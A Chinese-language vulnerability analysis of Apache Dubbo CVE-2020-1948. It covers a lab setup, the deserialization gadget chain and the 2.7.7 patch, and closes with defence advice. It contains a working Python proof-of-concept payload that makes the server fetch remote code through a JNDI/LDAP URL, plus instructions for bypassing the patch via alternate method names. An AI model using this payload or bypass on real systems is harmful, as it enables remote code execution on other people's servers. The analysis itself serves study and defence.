Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞及其补丁绕过深度分析
字数 1685 2025-08-15 21:31:21
Apache Dubbo CVE-2020-1948 反序列化远程代码执行漏洞深度分析
1. Apache Dubbo 简介
Apache Dubbo 是一个分布式服务框架,致力于提供高性能和透明化的 RPC 远程服务调用方案,以及 SOA 服务治理方案。其核心部分包含:
- 远程通讯:提供对多种基于长连接的 NIO 框架抽象封装
- 集群容错:提供基于接口方法的透明远程过程调用
- 自动发现:基于注册中心目录服务,使服务消费方能动态查找服务提供方
Dubbo 工作流程
- Provider:暴露服务方
- Consumer:调用远程服务方
- Registry:服务注册与发现的中心目录服务
- Monitor:统计服务的调用次数和调用时间的日志服务
- Container:服务运行容器
2. 漏洞概述
CVE-2020-1948 是一个 Apache Dubbo 的反序列化远程代码执行漏洞,攻击者可以通过构造恶意序列化数据在目标服务器上执行任意代码。
3. 漏洞环境搭建
3.1 注册中心搭建
- 下载 Apache ZooKeeper:https://zookeeper.apache.org/releases.html
- 修改
/conf/zoo.cfg配置文件中的clientPort和dataDir值 - 启动 ZooKeeper
3.2 Dubbo Admin 管理界面搭建
- 下载 dubbo-admin:https://github.com/apache/dubbo-admin
- 修改
/dubbo-admin-server/src/main/resources/application.properties中的注册中心地址 - 打包并启动服务端:
mvn package -Dmaven.test.skip=true java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar - 启动 UI 界面:
cd dubbo-admin-ui npm install npm run dev - 访问 http://localhost:8081,默认账号密码为 root
4. 漏洞原理分析
4.1 漏洞利用链
漏洞利用链最终通过 JdbcRowSetImpl 调用 JNDI 进行远程代码执行,关键类为 com.rometools.rome.feed.impl.ToStringBean。
4.2 POC 分析
from hessian2 import new_object
from client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl = new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/ExploitMac",
strMatchColumns=["fxx"]
)
JdbcRowSetImplClass = new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean = new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='test',
args=[toStringBean]
)
4.3 漏洞触发流程
- 恶意序列化数据通过 Dubbo 协议传输到服务端
- 服务端在
org.apache.dubbo.remoting.transport.DecodeHandler处理请求 - 调用
DecodeableRpcInvocation.decode()方法反序列化数据 - 在异常处理过程中,
Request对象调用toString()方法 RpcInvocation.toString()调用Arrays.toString(arguments)- 触发
ToStringBean.toString()方法 - 通过反射调用
JdbcRowSetImpl的getDatabaseMetaData方法 - 触发 JNDI 远程访问
dataSource,导致远程代码执行
5. 补丁分析
5.1 原始漏洞代码
在 DecodeableRpcInvocation 类的第 131 行有一个 if 判断:
if (!RpcUtils.isGenericCall(desc, getMethodName()) && !RpcUtils.isEcho(desc, getMethodName())) {
pts = ReflectUtils.desc2classArray(desc);
}
5.2 补丁代码
2.7.7 版本增加了额外的判断:
if (!RpcUtils.isGenericCall(desc, getMethodName()) && !RpcUtils.isEcho(desc, getMethodName())) {
if (getMethodName().equals($INVOKE) || getMethodName().equals($INVOKE_ASYNC)) {
throw new IllegalArgumentException("...");
}
pts = ReflectUtils.desc2classArray(desc);
}
5.3 补丁绕过方法
补丁通过检查方法名是否为 $INVOKE 或 $INVOKE_ASYNC 来防御攻击。绕过方法:
将 POC 中的 method_name 从 'test' 修改为 '$invoke' 或 '$invokeAsync' 或 '$echo' 即可绕过补丁。
6. 漏洞总结
该漏洞是序列化传输到后台的数据被反序列化后,在异常处理过程中进行了危险操作(调用 toString() 方法),从而触发了 gadget 链导致远程代码执行。
7. 防御建议
- 升级到最新版本的 Apache Dubbo
- 限制 Dubbo 服务的网络访问
- 监控和过滤可疑的序列化数据
- 移除不必要的依赖(如 rome)